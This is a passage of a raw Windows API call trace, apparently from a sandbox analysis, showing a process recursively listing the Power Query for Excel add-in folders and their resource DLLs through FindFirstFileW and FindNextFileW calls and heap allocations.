FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.029] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d05722, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.029] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x91adba5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91d3da7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.029] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.030] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbda21cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x94aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.030] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbda21cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x94aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0279.030] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0279.031] GetProcessHeap () returned 0xaf0000 [0279.031] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0279.031] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0279.031] GetProcessHeap () returned 0xaf0000 [0279.031] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0279.031] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.032] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.032] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.033] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d2b978, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.033] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x51c07e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51c07e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51c07e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.033] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56f7a52, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56f7a52, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x595a0ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.033] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56f7a52, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56f7a52, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x595a0ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0279.033] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0279.036] GetProcessHeap () returned 0xaf0000 [0279.036] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0279.036] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0279.036] GetProcessHeap () returned 0xaf0000 [0279.036] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0279.036] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0279.037] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.038] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf99462e6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99462e6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99462e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.038] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4b0be25, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4b0be25, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c3d17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.038] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12b7378, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12dd5ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.038] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5101cbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.038] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5101cbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0279.038] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0279.039] GetProcessHeap () returned 0xaf0000 [0279.039] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0279.039] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0279.039] GetProcessHeap () returned 0xaf0000 [0279.039] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0279.039] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0279.042] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.042] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbc97147, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbc97147, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbce360e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.042] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22f6470, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.042] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bad1cb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bad1cb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.042] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa853100, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa853100, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.042] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa853100, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa853100, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0279.042] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0279.043] GetProcessHeap () returned 0xaf0000 [0279.044] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0279.044] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0279.044] GetProcessHeap () returned 0xaf0000 [0279.044] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0279.044] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.045] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.045] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x59f29de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.045] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.045] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.046] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8f7076d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8f7076d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99462e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.046] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf8f7076d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf8f7076d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99462e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0279.046] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0279.047] GetProcessHeap () returned 0xaf0000 [0279.047] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0279.047] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x0, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1 [0279.047] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa08b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Edm.NetFX35.dll", cAlternateFileName="MIE429~1.DLL")) returned 1 [0279.047] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5174318, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5174318, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5174318, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1610c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.OData.NetFX35.dll", cAlternateFileName="MI37F8~1.DLL")) returned 1 [0279.047] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b15891, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 